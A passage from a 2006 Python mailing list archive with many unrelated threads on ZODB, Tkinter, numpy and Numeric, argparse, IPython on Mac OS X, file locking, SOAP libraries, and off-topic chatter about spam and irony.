self.dbroot = self.connection.root() Write: db = Database("test.db") db.data = db.get_dictionary('data') sz = len(db.data.keys()) class Datum(Persistent): def __init__(self, value): self.value = value if __name__ == '__main__': # insert 10 things for i in range(0, 10): val = i + sz d = Datum(val) db.data[val] = d transaction.commit() Read: db = Database("test.db", read_only = True) data = db.get_dictionary('data') If I have a Python shell open and run the above two lines, if I run the write process repeatedly, the above "data" object never contains any of the newly added items. To pick them up I have to totally recreate the "db" object. I must be doing something wrongly, but I can't figure out what. Any suggestions? Thanks, PC From steve at holdenweb.com Tue Oct 31 14:34:33 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 31 Oct 2006 19:34:33 +0000 Subject: scared about refrences... In-Reply-To: <1162315016.354163.18950@i42g2000cwa.googlegroups.com> References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com> <1162242647.481298.251320@b28g2000cwb.googlegroups.com> <1162248250.994200.13450@m7g2000cwm.googlegroups.com> <1162254191.507805.276640@k70g2000cwa.googlegroups.com> <1162315016.354163.18950@i42g2000cwa.googlegroups.com> Message-ID: SpreadTooThin wrote: [...] > I don't understand why python would insist that everything must be a > refrence... We can tell that :) > It is of course helpful sometime but other times its not... and now > I'm sorta out > of luck... There are very good reasons for Python's namespace model. Sure it's different from some other languages, but it's actually been some people's preferred semantics for a very long time now (the recently-deceased Ralph Griswold, may he rest in peace, chose a very similar model for Icon. > I don't know how to make this structure immutable... Pickle it? Seems > very > inefficient to me... > Every time I pass a variable now I will worry that it will be changed > by the function... > I haven't worried about things like this since the very early days of > BASIC.... > I don't know.. maybe I have more to learn. > You do. Firstly, learn to leave your paranoia outside your programming life. If a function or method makes undocumented changes to its mutable parameters then it needs changing (or its documentation does). Adequate testing should reveal such nonsenses before release. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From Benjamin.Barker at gmail.com Sun Oct 8 09:10:47 2006 From: Benjamin.Barker at gmail.com (Ben) Date: 8 Oct 2006 06:10:47 -0700 Subject: Bizzare lst length problem In-Reply-To: <1160312607.909565.95150@i3g2000cwc.googlegroups.com> References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com> <1160311703.533544.164250@i42g2000cwa.googlegroups.com> <1160312607.909565.95150@i3g2000cwc.googlegroups.com> Message-ID: <1160313047.648352.71190@e3g2000cwe.googlegroups.com> Thanks for the advice - I'm already doing just that, so hopefully will soon be sorted :-p John Machin wrote: > Ben wrote: > > Ah... my list is a string. That explains the len() results, but not why > > it is a string in the dirst place. > > > > I have a dictionary containing a number of instances of the following > > class as values: > > > > class panel: > > mops =[] > > > > def __init__(self,number,level,location,mops,matrix): > > self.number=number > > self.level=level > > self.location=location > > self.mops=mops > > self.matrix=matrix > > > > > > abve mops is a list, yet when I access it it is a string... > > > > Well, if you are going to spare us from reading all of your code, > you'll have to debug it yourself. The clue that Fredrik gave you is > *not* of the use-once-and-discard variety -- when you are having > problems with the pixies changing your lists into strings, you need to > sprinkle prints of type(pixie_prey) and repr(pixie_prey) at salient > points in your code; as first statement in that __init__ method would > be a good start. From casevh at comcast.net Tue Oct 31 17:11:41 2006 From: casevh at comcast.net (casevh at comcast.net) Date: 31 Oct 2006 14:11:41 -0800 Subject: "best" rational number library for Python? In-Reply-To: References: Message-ID: <1162332701.129050.131770@m7g2000cwm.googlegroups.com> > A guy at work asked for functionality commonly found with rational numbers, > so I said I'd find and install something. I figured gmpy would be suitable, > alas I'm having trouble successfully building the underlying GMP 4.2.1 > library on a PC running Solaris 10 (won't compile with the default --host, > fails "make check" if I go the no-assembly route). Before I invest a bunch > of time into this, am I barking up the wrong tree? > I've successfully compiled GMP 4.2.1 on Solaris 10 x86 using both the GCC and Sun Studio compilers on AMD 32-bit platform. I just compiled GMP 4.2.1 on a P4 using $ CFLAGS="" CC=gcc ./configure $ gmake; gmake check and all tests passed. casevh From mail at microcorp.co.za Wed Oct 4 08:27:56 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Wed, 4 Oct 2006 14:27:56 +0200 Subject: Python/Tkinter crash. References: Message-ID: <037b01c6e7c7$80166fa0$03000080@hendrik> "James Stroud" wrote: > Hendrik van Rooyen wrote: > > Hi, > > > > I get the following: > > > > hvr at LINUXBOXMicrocorp:~/Controller/lib> python display.py > > UpdateStringProc should not be invoked for type font > > Aborted > > > > and I am back at the bash prompt - this is most frustrating, as there is no > > friendly traceback to help me guess where its coming from. > > > > And what is worse, the script runs for a varying time before it simply exits > > like this. > > > > What can I do to dig deeper to try to find a clue? - I don't even know if its > > Python, Tkinter or Linux... > > > > Some background: > > > > The application is a prototype gui for a controller of an injection moulding > > machine. > > It has two rows of five buttons across the top, and a canvas containing various > > objects over the rest of the screen. > > Extensive use is made of configure to change the text of the buttons, as well as > > their command bindings, > > to keep "the state of the system" current - its quite a hack at this time, as I > > am still experimenting with getting the interface intuitive. > > On the canvas, there are multiple instances of a Meter class to show things like > > temperatures and pressures, > > as well as a schematic representation of the machine, created out of polygons > > and lines. > > The schematic, as well as the Meters, are crudely animated by deleting and > > redrawing the objects repetitively with slightly different parameters in > > response to button presses. This is done by starting different threads to > > implement the various motions, which repetitively call kill and draw methods in > > the main app, after which they (the threads) commit seppoku by returning. > > > > Everything seems to work fine. - there is a thread that runs to move the meter > > values around continuously, and this has been stable for some time now, and I > > can get the various "machine" parts to move around the screen by pushing the > > buttons. > > The trouble occurs when I put the "machine" into Auto mode, simulating the > > various motions in a loop, - it runs for anything from a few tens to a few > > hundreds of cycles before handing in its dinner pail like this. > > > > Any Ideas on what to do next to find the culprit? > > > > - Hendrik > > > > Minimal source code to reproduce this error would help tremendously. I was hoping for some advice as to how to choose the broken stuff out of the approximately 1400 lines of code - what do I keep in, and what do I leave out - If I knew in which area the thing was cracking up, or if I could form a theory of why it is breaking, I could choose better, and maybe reproduce it - as it is, to produce the strace that I submitted took most of the morning, and I am frankly no further along the road... - Hendrik From steven.bethard at gmail.com Tue Oct 24 12:13:04 2006 From: steven.bethard at gmail.com (Steven Bethard) Date: Tue, 24 Oct 2006 10:13:04 -0600 Subject: [ANN] argparse 0.2 - Command-line parsing library In-Reply-To: References: Message-ID: Announcing argparse 0.2 ----------------------- argparse home: http://argparse.python-hosting.com/ argparse single module download: http://argparse.python-hosting.com/file/trunk/argparse.py?format=raw argparse bundled downloads at PyPI: http://www.python.org/pypi/argparse/ About this release ================== This release fixes a few minor bugs, modifies the 'store_true' and 'store_false' actions to have more natural defaults, and adds an epilog= keyword argument to ArgumentParser for text to be printed after the help messages. (The latter is in line with the `updates to optparse`_ for Python 2.5.) .. _updates to optparse: http://www.python.org/doc/2.5/whatsnew/modules.html New in this release =================== * The 'store_true' action's default is now False (instead of None). * The 'store_false' action's default is now True (instead of None). * ArgumentParser objects now accept an epilog= keyword argument. About argparse ============== The argparse module is an optparse-inspired command line parser that improves on optparse by: * handling both optional and positional arguments * supporting parsers that dispatch to sub-parsers * producing more informative usage messages * supporting actions that consume any number of command-line args * allowing types and actions to be specified with simple callables instead of hacking class attributes like STORE_ACTIONS or CHECK_METHODS as well as including a number of other more minor improvements on the optparse API. To whet your appetite, here's a simple program that sums its command-line arguments and writes them to a file:: parser = argparse.ArgumentParser() parser.add_argument('integers', type=int, nargs='+') parser.add_argument('--log', type='outfile', default=sys.stdout) args = parser.parse_args() args.log.write('%s\n' % sum(args.integers)) args.log.close() From deets at nospam.web.de Tue Oct 17 11:34:43 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Tue, 17 Oct 2006 17:34:43 +0200 Subject: How to invoke ipython in Mac OS X? References: <4pk8r8FjagluU1@uni-berlin.de> Message-ID: <4pkbgkFjg8p8U1@uni-berlin.de> Lou Pecora wrote: > In article <4pk8r8FjagluU1 at uni-berlin.de>, > "Diez B. Roggisch" wrote: > >> Lou Pecora wrote: >> >> > I installed the SciPy superpackage and have pylab, matplotlib, scipy, >> > and numpy apparently running well. But I want to use matplotlib/pylab >> > interactively. The instructions suggest doing this in IPython. But >> > using ipython on the command line gives me an error. The system >> > doesn't >> > know the command. Apparently there is no ipython executable in one of >> > the bin directories. I thought the superpackage would add that >> > automatically, but I guess not. >> > >> > Can anyone tell me how to get ipython running on my MacOSX 10.4 system? >> >> This is just a guess - but did you check your >> >> /Library/Frameworks/Python.framework/Versions/Current/bin > > > Just checked it. Nothing there for IPython. Are you sure you checked in all possible locations - it might well be that e.g. the shipped python2.3 is under /System/Library/.... I can't check up on that myself, as at work I'm using Linux. Where it is depends on which python interpreter you used to compile scipy. And possibly it got installed under /usr/local/bin - this could be caused by scipy installing it there. >> directory for the ipython-binary? Usually, that will be the prefix of >> anything compiled/installed to framework-builds. So either you add that >> to your path, or create links to e.g. /usr/local/bin > > I'm not quite following this last suggestion. Can you explain more. _If_ the binary got installed there, you need to add the path to your PATH-environment, or create a link to a location that is in the path. For example, I have ln -s /Library/Frameworks/Python.framework/Versions/2.4/bin/pydoc /usr/bin/pydoc2.4 on my system, to have the pydoc2.4 command available. You could also create an alias, of course. Diez From martin at v.loewis.de Wed Oct 11 00:47:29 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 11 Oct 2006 06:47:29 +0200 Subject: does raw_input() return unicode? In-Reply-To: References: <12iln7en9ipit77@corp.supernews.com> <452b5190$0$29833$9b622d9e@news.freenet.de> <452BD8A2.4060708@v.loewis.de> Message-ID: <452C7761.7070703@v.loewis.de> Theerasak Photha schrieb: > The other way around: would urwid use raw_input() or other Python > input functions anywhere? Since I still don't know what urwid is, I can't answer the question. It should be easy enough to grep its source code to find out whether it ever uses raw_input. > And what causes Unicode input to work in IDLE alone? Because in IDLE, it is possible to enter characters that are not in the user's charset. For example, if the user's charset is cp-1252 (western european), you can still enter cyrillic characters into IDLE. This is not possible in a regular terminal. Regards, Martin From gherron at islandtraining.com Sun Oct 15 02:05:11 2006 From: gherron at islandtraining.com (Gary Herron) Date: Sat, 14 Oct 2006 23:05:11 -0700 Subject: problem with the 'math' module in 2.5? In-Reply-To: <87bqoe2kd6.fsf@benfinney.id.au> References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com> <1160886206.594661.321230@e3g2000cwe.googlegroups.com> <87bqoe2kd6.fsf@benfinney.id.au> Message-ID: <4531CF97.6010807@islandtraining.com> Ben Finney wrote: > "Chris" writes: > > >> Oh, ok that explains it. Is that why my 16-bit calculator gives me >> 0? >> > > Your calculator is probably doing rounding without you asking for it. > Yes. Almost all calculators have 1 or 2 guard digits. These are extra digits beyond what is shown on the display. All calculations are done at that higher precision and the result are rounded to the precision of the display for the user's benefit. This satisfies users who know nothing about the numerical imprecision of finite digit arithmetic. Python makes the opposite assumption that we are are adults here and can handle the full knowledge, slight imprecision and all. Dr. Gary Herron > Python refuses to guess what you want, and gives you the information > available. > > From robert.kern at gmail.com Thu Oct 26 18:02:48 2006 From: robert.kern at gmail.com (Robert Kern) Date: Thu, 26 Oct 2006 17:02:48 -0500 Subject: numpy numbers converted wrong In-Reply-To: References: Message-ID: robert wrote: > in Gnuplot (Gnuplot.utils) the input array will be converted to a Numeric float array as shown below. When I insert a numpy array into Gnuplot like that below, numbers 7.44 are cast to 7.0 > Why is this and what should I do ? Is this bug in numpy or in Numeric? > > > [Dbg]>>> m #numpy array > array([[ 9.78109200e+08, 7.44000000e+00], > [ 9.78454800e+08, 7.44000000e+00], > [ 9.78541200e+08, 8.19000000e+00], > ..., > [ 1.16162280e+09, 8.14600000e+01], > [ 1.16170920e+09, 8.10500000e+01], > [ 1.16179560e+09, 8.16800000e+01]]) > [Dbg]>>> Numeric.asarray(m, Numeric.Float32)[:10] > array([[ 9.78109184e+008, 7.00000000e+000], > [ 9.78454784e+008, 7.00000000e+000], > [ 9.78541184e+008, 8.00000000e+000], > [ 9.78627584e+008, 8.00000000e+000], > [ 9.78713984e+008, 8.00000000e+000], > [ 9.78973184e+008, 8.00000000e+000], > [ 9.79059584e+008, 8.00000000e+000], > [ 9.79145984e+008, 8.00000000e+000], > [ 9.79232384e+008, 9.00000000e+000], > [ 9.79318784e+008, 8.00000000e+000]],'f') > [Dbg]>>> Numeric.asarray(m, Numeric.Float)[:10] > array([[ 9.78109200e+008, 7.00000000e+000], > [ 9.78454800e+008, 7.00000000e+000], The problem is with the version of Numeric you are using. I can replicate this problem with Numeric 24.0 but not with 24.2. > and why and what is: > > [Dbg]>>> m[0,1] > 7.44 > [Dbg]>>> type(_) > > [Dbg]>>> It is a scalar object. numpy supports more number types than Python does so the scalar results of indexing operations need representations beyond the standard int, float, complex types. These scalar objects also support the array interface, so it's easier to write generic code that may operate on arrays or scalars. Their existence also resolves the long-standing problem of maintaining the precision of arrays even when performing operations with scalars. In Numeric, adding the scalar 2.0 to a single precision array would return a double-precision array. Worse, if a and b are single precision arrays, (a+b[0]) would give a double-precision result because b[0] would have to be represented as a standard Python float. The _Guide to NumPy_ has a discussion of these in Chapter 2, part of the sample chapters: http://numpy.scipy.org/numpybooksample.pdf > does this also slow down python math computations? If you do a whole lot of computations with scalar values coming out of arrays, then yes, somewhat. You can forestall that by casting to Python floats or ints if that is causing problems for you. > should one better stay away from numpy in current stage of numpy development? > I remember, with numarray there were no such problems. Not really, no. -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From chiquito at gmail.com Fri Oct 20 12:08:15 2006 From: chiquito at gmail.com (Ricardo Reyes) Date: 20 Oct 2006 09:08:15 -0700 Subject: Determining if a file is locked in Windows References: <1161200350.853327.288150@b28g2000cwb.googlegroups.com> <1161269072.312305.297430@m73g2000cwd.googlegroups.com> Message-ID: <1161360495.031017.220490@e3g2000cwe.googlegroups.com> elake wrote: > Larry Bates wrote: > > elake wrote: > > > I found this thread about a pst file in Windows being locked and I am > > > having the same issue. > > > > > > The problem is that even though I catch the IOError it overwrites the > dst file and makes it 0kb. This is going to be for backing these files > up and it wont be good to overwrite the backup with a bad copy. > You can try to copy to a dst file that is not the backup file, but instead it's in a temp location or with a temp name. If the copy fails with IOError, just delete the new 0 bytes temp file. If the copy doesn't fail, delete the old backup, rename the new temp file to the destination name, and you are done. The rename part shouldn't fail since you are operating in a new file that's not locked. And for extra safety, don't erase the old backup before renaming the new one, but rename to .bak.old or something like that. Good luck. Ricardo From eric_brunel at despammed.com Wed Oct 11 05:22:45 2006 From: eric_brunel at despammed.com (Eric Brunel) Date: Wed, 11 Oct 2006 11:22:45 +0200 Subject: Tkinter: populating Mac Help menu? References: <6nMWg.64$ra5.26@newsfe05.lga> Message-ID: On Tue, 10 Oct 2006 14:29:46 +0200, Edward K. Ream wrote: [snip] > So given x (a string), how does one create a widget whose name is > '%s.help' > % x ? This is a can of corn in Tk, but nothing comes to mind looking at > the > Tkinter source code. Use the 'name' keyword when creating the menu itself: ---------------------------------------------------- from Tkinter import * root = Tk() mb = Menu(root) root.configure(menu=mb) ## Normal menu fm = Menu(mb) fm.add_command(label='Quit', command=root.quit) mb.add_cascade(label='File', menu=fm) ## Help menu with a specific name hm = Menu(mb, name='help') hm.add_command(label='About...') mb.add_cascade(label='Help', menu=hm) root.mainloop() ---------------------------------------------------- I didn't test it on MacOS-X, but the same trick should be used when creating help menus on Unix (this menu is supposed to appear at the right of the menubar according to Motif conventions). HTH -- python -c "print ''.join([chr(154 - ord(c)) for c in 'U(17zX(%,5.zmz5(17l8(%,5.Z*(93-965$l7+-'])" From amk at amk.ca Tue Oct 3 08:33:45 2006 From: amk at amk.ca (A.M. Kuchling) Date: Tue, 03 Oct 2006 07:33:45 -0500 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> Message-ID: <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> On Tue, 03 Oct 2006 08:19:10 GMT, Giovanni Bajo wrote: > ... using a non open source tracker (called JIRA - never heard > before of course) for Python itself. Other projects do use it; see for a partial list, and a link to the Apache Software Foundation's issue trackers. > Does this smell "Bitkeeper fiasco" to anyone else than me? The committee did expect this recommendation to be controversial. :) --amk From editor at methodsandtools.com Mon Oct 16 07:00:04 2006 From: editor at methodsandtools.com (editormt) Date: 16 Oct 2006 04:00:04 -0700 Subject: New Software Development Articles Directory Message-ID: <1160996404.711083.205570@k70g2000cwa.googlegroups.com> A new links directory of articles related to software development is "under construction" on http://www.softdevarticles.com/ Please feel free use it in future research and to contribute with your articles on python. From joshbloom at gmail.com Fri Oct 6 11:53:36 2006 From: joshbloom at gmail.com (Josh Bloom) Date: Fri, 6 Oct 2006 08:53:36 -0700 Subject: Debugging question: Print out program state (Variables) Message-ID: Hello PyListers, I have a python script that runs nightly and fetches info from various webservers and does some processing on the data. Occasionally my script has a problem and is unable to finish its work. I have try blocks and logging for most of the errors that can happen. What I would like to do is write out the state of my script when an error is encountered. I've been looking at the traceback module and think Im on the right track, but I haven't figured out a way to write out all of the programs current variables. Is there a handy module that can do something like that? Thanks, Josh -------------- next part -------------- An HTML attachment was scrubbed... URL: From fakeaddress at nowhere.org Fri Oct 6 13:30:57 2006 From: fakeaddress at nowhere.org (Bryan Olson) Date: Fri, 06 Oct 2006 17:30:57 GMT Subject: Google breaks Usenet (was Re: How can I correct an error in an old post?) In-Reply-To: References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com> <1160096371.564954.132860@b28g2000cwb.googlegroups.com> <4SmVg.9105$GR.2172@newssvr29.news.prodigy.net> Message-ID: Aahz wrote: > The problem is the network effect. In this case, what Google has that > can't be replicated is the history of posts. There's no magic there. Get them the same way Google and Dejanews got them, plus you might scrape Google, from some locality with favorable laws. -- --Bryan From esj at harvee.org Wed Oct 25 00:55:37 2006 From: esj at harvee.org (Eric S. Johansson) Date: Wed, 25 Oct 2006 00:55:37 -0400 Subject: Getting a lot of SPAM from this list In-Reply-To: <17725.12208.931743.88672@montanaro.dyndns.org> References: <7.0.1.0.0.20061023175044.05c75ec8@yahoo.com.ar> <17725.12208.931743.88672@montanaro.dyndns.org> Message-ID: skip at pobox.com wrote: > Gabriel> I use a discardable email address from Yahoo. Spam filtering is > Gabriel> good, and when you get too much spam, just delete that address > Gabriel> and create another one. > > Maybe it's just me, but creating and discarding email addresses makes me > think the spammers have won. I'd prefer to face them down at high noon. > Six guns at twenty paces (figuratively speaking, of course). using a baseball bat to chase them across one or more yellow jackets nest work for me. But to address your issue about spammers having won, I would argue that they have. mailing list archives are cluttered with so much junk they're useless, people are losing e-mail they should otherwise get, folks are abandoning e-mail addresses rendering contact information on webpages and memory useless. Filters are not the answer. Filters are actually the problem because since they operate on a probabilistic basis, spammers gain more visibility by increasing traffic. Filters improve, volumes go up. It's gotten so bad, people are making serious plans to introduce identity-based systems to authenticate servers and possibly even addresses. What's scary is that this kind of technology can be easily abused by various powers to shut down the ability to speak. Just think about the judicial load needed to adjudicate complaints in either direction. I have a solution that has been working for me for the past three or four years. I'm almost done with the next release (I pray) with a better installation process as well as improvements throughout the system. I'll post the announcement here when things are working. ---eric From apardon at forel.vub.ac.be Wed Oct 4 04:07:08 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 4 Oct 2006 08:07:08 GMT Subject: What value should be passed to make a function use the default argument value? References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> Message-ID: On 2006-10-03, LaundroMat wrote: > Suppose I have this function: > > def f(var=1): > return var*2 > > What value do I have to pass to f() if I want it to evaluate var to 1? > I know that f() will return 2, but what if I absolutely want to pass a > value to f()? "None" doesn't seem to work.. > > Thanks in advance. One possible way to do what I think you want is to code as follows: class Default (object): pass def f(var=Default): if var is Default: var = 1 return var * 2 -- Antoon Pardon From fredrik at pythonware.com Sun Oct 29 05:33:36 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 29 Oct 2006 11:33:36 +0100 Subject: Where do nested functions live? In-Reply-To: <4544717D.4020908@vtxmail.ch> References: <4qhf11Fn4g9fU1@uni-berlin.de> <4544717D.4020908@vtxmail.ch> Message-ID: Frederic Rentsch wrote: > At some later point I need to increment my units some more and probably > will again a number of times. Clearly this has to go into a function. since Python is an object-based language, clearly you could make your counter into a self-contained object instead of writing endless amounts of code and wasting CPU cycles by storing what's really a *single* state in a whole bunch of separate variables. in your specific example, you can even use an existing object: t = datetime.datetime.now() # increment t += datetime.timedelta(milliseconds=msec) print t.timetuple() # get the contents if you're doing this so much that it's worth streamlining the timedelta addition, you can wrap the datetime instance in a trivial class, and do t += 1500 # milliseconds when you need to increment the counter. > This is a little like a shop where the mechanics have to get their > tools and work pieces from the manager and hand them back to him when > they're done. that could of course be because when he was free to use whatever tool he wanted, he always used a crowbar, because he hadn't really gotten around to read that "tool kit for dummies" book. From fredrik at pythonware.com Wed Oct 25 15:21:01 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 25 Oct 2006 21:21:01 +0200 Subject: question about True values In-Reply-To: References: Message-ID: John Salerno wrote: > I'm a little confused. Why doesn't s evaluate to True in the first part, > but it does in the second? Is the first statement something different? > > >>> s = 'hello' > >>> s == True > False > >>> if s: > print 'hi' "true" != "True". comparing a value to another value isn't the same thing as interpreting a value in a specific context: http://docs.python.org/lib/truth.html From larry.bates at websafe.com Tue Oct 24 15:40:49 2006 From: larry.bates at websafe.com (Larry Bates) Date: Tue, 24 Oct 2006 14:40:49 -0500 Subject: The status of Python and SOAP? In-Reply-To: <1161715924.235584.30790@m7g2000cwm.googlegroups.com> References: <1161715924.235584.30790@m7g2000cwm.googlegroups.com> Message-ID: <453E6C41.90200@websafe.com> I would venture to guess that this is the one I would lean towards if I needed SOAP support: http://www.effbot.org/downloads/#elementsoap I know is says "experimental" but Fredrik Lundh's idea of experimental always seems to be everyone else's idea of a shipping product (e.g his code just seems to work). Since it is based on elementree, which is now in the standard library, I think it would be a good bet. Perhaps you could assist on the development? -Larry From mirandacascade at yahoo.com Sun Oct 22 14:45:41 2006 From: mirandacascade at yahoo.com (mirandacascade at yahoo.com) Date: 22 Oct 2006 11:45:41 -0700 Subject: ElementSOAP tutorial / HTTPClient Message-ID: <1161542741.637705.272180@b28g2000cwb.googlegroups.com> Operating system: Windows XP Home Version of Python: 2.4 While looking through the tutorial on ElementSOAP at the following link: http://effbot.org/zone/element-soap.htm I observed sample code that included: from HTTPClient import HTTPClient When I get into Pythonwin and attempt the import statement above: >>> from HTTPClient import HTTPClient Traceback (most recent call last): File "", line 1, in ? ImportError: No module named HTTPClient In addition: 1) a case-insensitive search for any files with 'HTTPClient' where the search begins in the c:\python24\ and includes all sub-folders results in a: "Search is complete. There are not results to dsiplay." message 2) a search of this Google group for HTTPClient didn't result in any links that appeared to point me to where I could find a package that includes HTTPClient 3) a search in the python.org home page for HTTPClient didn't result in any links that appeared to point me to where I could find a package that includes HTTPClient I noticed that there is a file httplib.py in which the docstring begins "HTTP/1.1 client library", but I couldn't figure out whether what was in httplib.py replaced HTTPClient.py, and if so, how. So, my questions are: 1) is there a package available which, when installed, will allow the from HTTPClient import HTTPClient statement to execute without ImportError? 2) how should I have constructed my searches when attempting to resolve this issue such that I wouldn't have had to post this question? Thank you. From fredrik at pythonware.com Thu Oct 19 02:33:10 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 19 Oct 2006 08:33:10 +0200 Subject: Getting method name from within the class method In-Reply-To: <7.0.1.0.0.20061018200044.03588168@yahoo.com.ar> References: <1161207492.298811.178110@m7g2000cwm.googlegroups.com> <20061018145926.0e8d3277@opal.pathscale.com> <1161210607.901928.26430@e3g2000cwe.googlegroups.com> <7.0.1.0.0.20061018200044.03588168@yahoo.com.ar> Message-ID: Gabriel Genellina wrote: > I could see some merit on getting that info in an automatic way. > The only reason I can see for knowing the name of a function is for > debugging purposes - maybe some kind of logging utility. If you are in > "debug mode", resources are not too important, but correct information > is. Imagine a logfile that says that you were at function_a but instead > you were at function_b (because of copy&paste without replacing the names) imagine a log file that says that you're about to create a file when you're actually removing it (because of copy&paste without replacing the message). focussing on function names when logging is pretty silly, anyway. it's usually better to focus on that the code is actually doing, rather than internal artifacts. but even if you want to output function names, it's of course better to put that functionality into the logging function itself: ## # Issues a log message. def log(fmt, *args): print who_called_me(2), "-", fmt % args ## # Returns the name of the calling function or method, if known. # # @param depth Stack depth. Defaults to immediate caller. # @return The name of the calling function. def who_called_me(depth=1): return sys._getframe(depth).f_code.co_name From skip at pobox.com Mon Oct 23 17:23:34 2006 From: skip at pobox.com (skip at pobox.com) Date: Mon, 23 Oct 2006 16:23:34 -0500 Subject: Looking for a Python-on-Windows person to help with SpamBayes In-Reply-To: <1161637517.097585.325860@k70g2000cwa.googlegroups.com> References: <1161637517.097585.325860@k70g2000cwa.googlegroups.com> Message-ID: <17725.13014.735401.684490@montanaro.dyndns.org> >> The bare requirements are: >> >> * Able to program in Python on Windows (that is, remove my Unix-think >> from the OCR bits of code) >> >> * Use Outlook to read mail (so you can test the changes with the >> SpamBayes Outlook plugin) George> Does "remove my unix-think" mean replacing it with equivalent George> Windows-think (e.g through Win32all, Win32 API, COM) or it can George> be done in platform-independent way ? The latter I think. This particular part of the code doesn't involve any GUI bits. I could probably do it myself in an hour or so, but I simply don't have access to Windows at home. George> In the second case I might be able to help as I'm using George> SpamBayes with Outlook at work, but I don't do windows-specific George> programming. That would be great... Skip From tomwingmak at yahoo.com Tue Oct 3 06:26:40 2006 From: tomwingmak at yahoo.com (tommak) Date: 3 Oct 2006 03:26:40 -0700 Subject: Artificial Mind - Part One - Basic Architecture and Cognitive Structure is now available Message-ID: <1159871200.703771.144210@c28g2000cwb.googlegroups.com> It's a dream of human beings to build machines that can think and behave like human beings. The most important part of of such a machine is an artificial mind that can emulate the cognitive processing of human mind. This book, "Next Generation Artificial Intelligence, Artificial Mind - Part One - Basic Architecture and Cognitive Structure" introduces a basic artificial mind architecture and computational model for cognitive processing. Inside the book, three important cognitive process modeling components, mental objects network (MON), associative-learning mechanisms and a concept formation principle are introduced. Based on the architecture and the computational model, one can develop his own model of artificial mind according to his own specific requirements. The first edition of Artificial Mind - Part One is now available for purchase from the author's personal web site. The price of the e-book is USD7.00 (seven US dollars). An evaluation edition of this e-book is also available for download from the web site. The author's personal web site: http://www.geocities.com/tomwingmak/ From utabintarbo at gmail.com Thu Oct 5 08:33:04 2006 From: utabintarbo at gmail.com (utabintarbo) Date: 5 Oct 2006 05:33:04 -0700 Subject: Asychronous execution *with* return codes? Message-ID: <1160051584.291073.44350@m73g2000cwd.googlegroups.com> I hope I have not overlooked a solution already posted, but I seem to be unable to suss out a way to achieve both multiple console-less executions of a given (console) application and gathering the return code from the application. What I have found: import subprocess # gives back return code, but does not run asynchronously retcode = subprocess.call([app, lstArgs]) retcode = subprocess.Popen([app] + lstArgs).wait() # runs the app async, but only returns the pid (no return code) pid = subprocess.Popen([app] + lstArgs).pid Is there some magic elixir which will get me both? TIA From fidel.andrade at gmail.com Fri Oct 20 19:55:55 2006 From: fidel.andrade at gmail.com (Fidel) Date: Fri, 20 Oct 2006 17:55:55 -0600 Subject: I like python. In-Reply-To: <1161379318.934985.115810@m7g2000cwm.googlegroups.com> References: <1161379318.934985.115810@m7g2000cwm.googlegroups.com> Message-ID: <254cf6720610201655j64c0b396i2a12bd818720b7e@mail.gmail.com> Thank you Jerry. That was exactly what I was looking for. The script in fact does call an external program and give it a command from a randomized list. Specifically it is a random wallpaper setter using the windows version of bsetroot. script scans a directory, creates a list of viable walls and tells bsetroot to set the wallpaper. Using popen instead of system did the trick handily. I thank you verily. On 20 Oct 2006 14:21:59 -0700, Jerry wrote: > On Oct 20, 2:59 am, Fidel wrote: > > Could someone please tell me what I need to put into a python script > > to not have a window come up however briefly? Like when I double click > > on the script, it will do it's job but won't open a command window > > then close it.. I hope that explains what I'm looking for. If I see > > the line I can figure out by syntax where it should go. I'm really > > good at learning the gist of languages by syntax. Thank you all for > > your time > > Are you running any external commands by using os.system() or > os.exec()? If you are running a program that is a console program > (i.e. copy, move, del, etc...) then it will open up a command window to > run it. If that is the case, then you can try using the os.popen() > utility instead. > > -- > Jerry > > -- > http://mail.python.org/mailman/listinfo/python-list > -- Fidel From theller at python.net Fri Oct 13 02:59:30 2006 From: theller at python.net (Thomas Heller) Date: Fri, 13 Oct 2006 08:59:30 +0200 Subject: OT: What's up with the starship? Message-ID: I cannot connect to starship.python.net: neither http, nor can I login interactively with ssl (and the host key seems to have changed as well). Does anyone know more? Thanks, Thomas From grante at visi.com Wed Oct 11 00:24:17 2006 From: grante at visi.com (Grant Edwards) Date: Wed, 11 Oct 2006 04:24:17 -0000 Subject: OT: Sarcasm and irony References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au> <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com> <3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com> <3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com> Message-ID: <12iosfh75stcf0e@corp.supernews.com> On 2006-10-10, Steve Holden wrote: >> probably point out that I am writing from Denmark and was thinking >> specifically of a situation where a dane told me they were being >> 'ironic' (when what they meant, obviously, was that they were being >> ironical), when I asked what they meant by that they said "saying the >> opposite of what I mean" I responded: "so, in other words, what you >> mean by irony is 'sarcasm'" She responded "yes, that's what it means" And she was pretty much right. Sarcasm is by far the most common form of irony. > Well, my assertion about America clearly doesn't preclude to > possibility of confusion on the part of the Danish too :-). > You are right about the general degradation of the > (understanding of the) meaning of irony. People are just too > damned sloppy with language 